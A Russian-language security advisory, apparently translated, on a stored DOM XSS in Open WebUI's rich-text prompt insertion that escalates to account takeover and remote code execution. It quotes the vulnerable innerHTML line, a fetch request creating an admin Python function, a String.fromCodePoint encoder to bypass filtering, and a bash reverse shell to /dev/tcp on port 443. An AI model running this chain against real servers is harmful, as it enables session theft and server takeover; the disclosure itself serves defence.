
Open WebUI уязвим для Stored DOM XSS через подсказки, когда опция 'Вставлять подсказку как форматированный текст' включена, что приводит к ATO/RCE
Open WebUI подвержен хранимому DOM XSS через подсказки, когда включена опция «Вставка подсказки как форматированного текста», что приводит к ATO/RCE

Функция, вставляющая пользовательские подсказки в окно чата, уязвима для DOM XSS, когда включена опция «Вставка подсказки как форматированного текста», поскольку тело подсказки присваивается DOM-приёмнику .innerHtml без санитизации. Любой пользователь с правами на создание подсказок может злоупотребить этим и внедрить полезную нагрузку, которая может сработать у других пользователей, если они выполнят соответствующую команду / для вставки подсказки.
Затрагиваемая строка:
open-webui/src/lib/components/common/RichTextInput.svelte
Line 348 in 7a83e7d
tempDiv.innerHTML = htmlContent;
export const replaceCommandWithText = async (text) => {
const { state, dispatch } = editor.view;
const { selection } = state;
const pos = selection.from;
// Get the plain text of this document
// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');
// Find the word boundaries at cursor
const { start, end } = getWordBoundsAtPos(state.doc, pos);
let tr = state.tr;
if (insertPromptAsRichText) {
const htmlContent = marked
.parse(text, {
breaks: true,
gfm: true
})
.trim();
// Create a temporary div to parse HTML
const tempDiv = document.createElement('div');
tempDiv.innerHTML = htmlContent; // <---- vulnerable
HTML, контролируемый пользователем, из тела подсказки присваивается tempDiv.innerHTML без (значимой) санитизации. marked.parse накладывает некоторые ограничения на символы, но не санитизирует содержимое, как указано в их README.

PoC
Создайте пользовательскую подсказку следующим образом:

В настройках убедитесь, что включена опция «Вставка подсказки как форматированного текста»:

Выполните команду /poc в окне чата.

Наблюдайте, как срабатывает alert.

RCE Поскольку администраторы могут запускать произвольный код Python на сервере через функцию «Functions», эта XSS может быть использована, чтобы заставить любого администратора, который её активирует, выполнить одну из таких функций с кодом Python по выбору атакующего.
Это можно осуществить, заставив их выполнить следующий запрос fetch:
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('echo RCE')"
})
})
Это нельзя сделать напрямую, потому что вызов marked.parse, через который проходит HTML, нейтрализует полезные нагрузки, содержащие кавычки.

Чтобы обойти это, строки необходимо вручную собирать из их десятичных значений с помощью String.fromCodePoint. Следующий скрипт на Python автоматизирует генерацию рабочей полезной нагрузки из заданного JavaScript:
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
})
})
""".lstrip().rstrip()
out = ""
for c in payload2:
out += f"String.fromCodePoint({ord(c)})+"
print(f"")
Администратор, запускающий соответствующую полезную нагрузку через команду подсказки, вызовет выполнение функции Python, запускающей reverse shell, что даёт атакующему доступ к командной строке на сервере.



Любой пользователь, запускающий вредоносную подсказку, может скомпрометировать свою учётную запись с помощью вредоносного JavaScript, который считывает его токен сессии из localstorage и передаёт его на сервер, контролируемый атакующим.
Администраторы, запускающие вредоносную подсказку, рискуют открыть бэкенд-сервер для удалённого выполнения кода (RCE), поскольку вредоносный JavaScript, выполняемый через уязвимость, может быть использован для отправки запросов от имени администратора, запускающих вредоносные функции Python, которые могут выполнять команды операционной системы.
По умолчанию пользователи с низкими привилегиями не могут создавать подсказки; требуется разрешение USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS, которое может быть выдано, например, через пользовательскую группу. см.: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions
Жертва, выполняющая команду для запуска подсказки, должна иметь включённую настройку «Вставка подсказки как форматированного текста» в предпочтениях, чтобы уязвимость сработала. По умолчанию настройка отключена. Пользователи с отключённой настройкой не подвержены уязвимости.
Санитизируйте HTML, контролируемый пользователем, с помощью DOMPurify перед присвоением его .innerHtml